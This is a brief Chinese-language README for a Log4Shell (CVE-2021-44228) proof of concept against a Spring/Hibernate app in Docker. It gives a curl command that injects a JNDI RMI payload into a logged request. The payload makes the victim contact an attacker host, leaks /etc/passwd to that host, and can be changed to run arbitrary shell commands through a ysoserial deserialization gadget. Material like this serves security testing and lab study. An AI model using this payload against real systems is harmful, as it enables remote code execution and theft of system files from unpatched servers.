
CVE-2021-44228 POC - Spring / Hibernate
该 POC 使用 Spring / Hibernate,不过类似的 rmi -> 反序列化 方法也可用于触发任何反序列化漏洞
$ docker-compose up
$ curl -X POST -H 'Content-Type: text/plain' localhost:8080 --data-binary '${jndi:rmi://exploit:10000/a}'
你应该会看到受害者的 /etc/passwd 内容出现在 attacker 容器的日志中。
你可以替换 exploit 服务中的命令,以在受害者上运行任意 shell 命令。
受害者运行的是一个标准的 Spring Starter 应用,带有 "Spring Data JPA"(用于 Hibernate)、"Spring Web" 和 "H2"(作为数据存储)依赖。在此基础上仅做了 2 处修改
slf4j 日志器替换为存在漏洞的 log4j所有依赖均为最新版本。没有启用任何魔法标志。
受害者暴露了一个位于 / 的 POST 端点,该端点会记录请求日志。
该漏洞利用依赖于 ysoserial 的一个分支,其使用 Hibernate 漏洞利用生成器。为了让该漏洞利用能与最新版本的 Hibernate 配合工作,我们需要重新编译 ysoserial。